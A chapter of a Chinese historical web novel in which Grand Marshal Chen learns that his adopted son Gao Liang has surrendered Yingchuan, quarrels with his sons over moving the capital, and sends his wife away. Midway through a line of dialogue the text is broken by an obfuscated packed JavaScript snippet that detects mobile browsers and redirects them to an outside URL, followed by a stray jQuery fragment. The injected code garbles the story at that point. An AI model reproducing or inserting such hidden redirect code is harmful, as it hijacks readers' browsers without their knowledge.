故楼月（十）
元平十年冬，颍川告破。
颍川守将大将军高粱降。
“六百里急报！”
“开城门！”
在大雪纷飞时候，一匹骏马顶着雪籽喘着粗气奔驰着进了雒阳城门。
司马府。
“大司马，”来报之人帽檐上沾染了灰蒙蒙雪粒，他低着头，被暖化后的雪水缓慢流进他的脖颈，一冷一热交织，他紧抿着唇，似乎在思索该如何诉说这件事。
屋内点了碳，任由外间风雪逼近，也依旧如春之暖。
陈司马正坐于上位几座上，紧闭着眼，眉头作要松不松要紧不紧样儿，一尊一人高的鎏金佛像坐落在他身侧，通体弥发出柔和的金光，高肉髻，绕头有圆形项光，身披通肩袈裟。结跏趺坐。右手施无畏印。左手执袍角。神情祥和，体态温润，看样子应是近物，再逼眼一看，竟与大司马长相相似，妆若以大司马模子刻出来的罢。
那报信的人还单膝跪在下方清灰菱纹砖面上。
上方的人没有说话，他怎么敢有别的动作。只能维持着一开始的姿势，一动不动。
犹豫着没说出口的“高大将军降”这几个字，也咽在咽喉，再也不知怎么开口了。
一直僵持了一盏茶的时间，下方的人跪得太久，膝盖被冷气冻得像针扎一样疼，心中有怨言也不敢发，只盯着地砖上的纹样，试图游神让自己轻松些。
“起吧。”
两个字犹如天籁，报信人如蒙大赦，赶紧起了身，自寻了个角落杵着，茶已凉，但报信这人还是举了起来，抿了一口。
“大司马，下官刚收到的急报，说，大将军降了，关东危矣，雒阳危矣，大司马，需考虑迁都啊。”
早在一炷香之前，陈大司马就坐在佛像身侧，那佛像神色轻和，他收到了一封密信，说“高粱疑举城以降，速派增援，否则颍川将落于他人之手”。
他当即将信丢进炭盆烧了，他不信，这高粱是他义子啊。
义子。
可如今，不由得他不信了。
他还没开口说话。
外面打着灯晃过来两个影子，一高一低，随着灯火左右飘摇摆动，“父亲大人。”
屋内气氛稍加凝固。
在这称呼后，屋内那停滞住的空气缓慢活动了，那报信人额前全是大汗，正一滴一滴往下掉落，不知是热的还是惊的。
屋里铜制炭盆中红黑炭烧得正旺，偶尔爆出一两声轻微的噼啪声，又溅起细碎火星来，迅速湮灭在灰烬里。
窗棂上糊着厚实的绢帛，将风雪严严实实地挡在外面，却挡不住那透骨的寒意，丝丝缕缕地从地砖的缝隙里钻上来，缠着人的脚踝往上爬。
陈司马依旧闭着眼。
鎏金佛像印着灯火的柔光将他半边脸孔勾勒得温润慈悲，另半边却隐在阴影里，像一尊未曾开光的毛坯泥胎。
他想起十年前那个冬天，也是这样的雪，堆在地上数尺，高粱浑身是伤，跪在司马府门前的雪地里，冻得嘴唇发紫，却挺直了脊梁说“愿为义父效死”。后又一遍一遍求情着，“府君能救下我，求府君与夫人也救救程氏。”
那孩子当时不过十八岁，黢黑的眼里似乎烧着火，比这屋里的炭火还旺。
那样灼热的火苗是什么时候灭的？
是五年前让他去颍川赴任的时候吗？
颍川自古以来，四战之地，危与险，重要程度可想而知。
临行前，高粱还恭恭敬敬地给他磕了三个头，说“义父保重，儿必不负所托”。
还是三年前颍川战事吃紧，他扣着援军不发，让高粱独守孤城的时候？又或者，是更早——早到他从未真正把这个“义子”当过儿子，不过是一枚用得顺手的棋子，扔在关东那盘棋局上，替他盯着那些不安分的叛贼诸侯。
“呵，”他轻笑一声。
还是信错了人罢？
门外的声音穿透风雪，
两声“父亲大人”，像两根细针扎进他的太阳穴。他听得出那是谁——长子陈渊，还有那个自诩“明经”的次子陈涣。一个是来问政事的，一个是来问安的，都挑在这个时候，像是闻着味儿来的蛆蝇。
报信的人还杵在那里，汗水顺着脸颊往下淌，滴在清灰菱纹砖面上，洇出几个深色的圆点。
地面上那砖纹细密规整，是五年前翻修司马府时，为了讨好陈大司马特意从南阳运来的。
工匠说这砖烧得透，敲击起来颇有金石之声。
他当时还踩了踩，声响清脆，但依旧觉得脚下踏实得很。
现如今他动了动脚，这地砖发出的声音却让他发冷。
“退下吧。”
报信人这才擦了擦额头额汗，弓着身子退到门口，险些撞上掀帘进来的两个人。陈渊侧身让了让，目光在那人脸上停了一瞬，便径直走向书案。陈涣却多看了两眼，朝着对方点了点头，又掸了掸肩上并不存在的雪，才慢吞吞地跟进来。
“父亲，”陈渊行了一礼，声音压得低，“儿子听说关东有急报——”
“听说？”陈司马缓慢睁开眼，浑浊的眼珠转了转，定在长子脸上，“听谁说？”
陈渊一窒。陈涣连忙接话：“父亲大人息怒，大哥也是关心则乱。方才在门外遇见那报信的罗太仆，见他神色慌张，才——”
“才连规矩都忘了？”陈司马的声音不重，却像这屋里地砖渗透杵的寒气，丝丝地往人骨头里钻，“什么时候司马府的军报，轮到你们两个来打听了？”
陈涣脸上的笑僵了僵，低头不敢再言。陈渊却梗着脖子，半晌，闷声道：“儿子知错。但儿子还听说，那高——大将军降了？”
最后三个字吐出来，屋里的空气像是被抽空了。炭盆里的火苗跳了跳，佛影在墙上晃了一下。
陈司马没有说话。
他垂着眼，死死盯着地砖上的纹样。
菱纹，菱者，棱也。他当年选中这种纹样，是因为它规整、方正、有棱角。可现在看着，只觉得那些交错纵横的线条，像一张网，把人牢牢地罩在里头。
“父亲，”陈渊上前一步，“颍川一失，关东门户大开，雒阳危在旦夕。儿子斗胆，请父亲早做打算——”
“打算？”陈司马抬起眼，“什么打算？”
“迁—
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201822|197215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—”陈渊只说了一个字，便被陈涣扯了扯袖子。
陈涣小心翼翼地开口：“父亲，儿子以为，此事还需从长计议。高大将军、义兄毕竟……毕竟与父亲有旧，或是有隐情也未可知。不如先派人打探清楚——”说到一半他转了口，父亲信任高粱，不喜欢兄弟阋墙之场景。
“隐情？”陈司马忽然呵呵笑了一声，那笑声短促干涩，像是从喉咙里硬挤出来的，
“他高梁已叛降，还需要什么隐情？”
他站起身，踱步到佛像前。
鎏金的面容与他确有九分相似，那是去年让工匠照着做的——说是供奉佛祖，也是为他自己积福。
那时候他想，待他百年之后，这尊像就供在宗祠里，受子孙香火。
可现在看着这尊像，只觉得有些可笑。佛像神情祥和，体态温润，右手施无畏印，好像在安抚世间一切恐惧。
可他心里那点恐惧，这佛安抚得了吗？
是恐惧关东失守，还是恐惧雒阳危殆？是恐惧权利逐渐把握不住？
还是恐惧那个跪在雪地里说“愿效死”的孩子，终究变成了递降表刺刀向自己的人。
最大的依仗丢了。
这世间，值得信任的人还有谁呢？
他回了头，横视着正喋喋不休的二人。
窗外的风雪似乎更大了，吹得窗棂呜呜作响。
他听见陈渊在身后说什么“父亲，迁都宜早不宜迟”，陈涣在说什么“先稳住城中人心”，那些声音忽远忽近，像从很远的雪地里飘过来。
他又抬起手，触了触佛像的衣角。
鎏金的表面冰凉光滑，没有一丝温度。
“都下去吧。”他说。
两个声音戛然而止。
他听见脚步声迟疑地往外挪，门帘掀起又落下，带进来一阵冷风，吹得炭火明灭不定。
屋里又安静了。只有窗外的风雪声，和他自己的心跳声——一下，一下，像有人在敲着木鱼。
他回到座位上，重新闭上眼睛。眼前却总浮着那地砖上的菱纹，规整，方正，有棱角的纹样。他忽然想，如果当年没有收那个义子，如果当年发了援军，没有让他处于孤立无援之态，如果——
没有如果了。
颍川已破，高梁已降。
他坐了一夜。
直到天微明时，他才动了动僵硬的手指。
“府君。夫人来了。”外面传来通报声，他揉了揉自己的额角，疼痛使他昏沉的头脑稍加清明一些，他开了口，声音嘶哑且疲惫，“将夫人请进来。”
“夫君。”
杨氏一踏进门，就提着裙摆小步跑到陈司马面前，“夫君昨夜可是有什么急事？怎么不曾归来歇下。”
陈司马提了狼毫，在纸上写着，墨不够了，杨氏也不计较他不说话，只给他磨墨，待他搁下笔，捻起纸，吹了吹，道:“夫人，待天一亮，你便回弘农吧！”
“夫君？”杨氏美目里盛满了震惊，她接过了纸，“夫君你要休弃了妾？”
“妾听阿涣说，子实降了，听闻那汉贼身边有一谋士，名唤程冉，莫不是阿冉又活过来了？”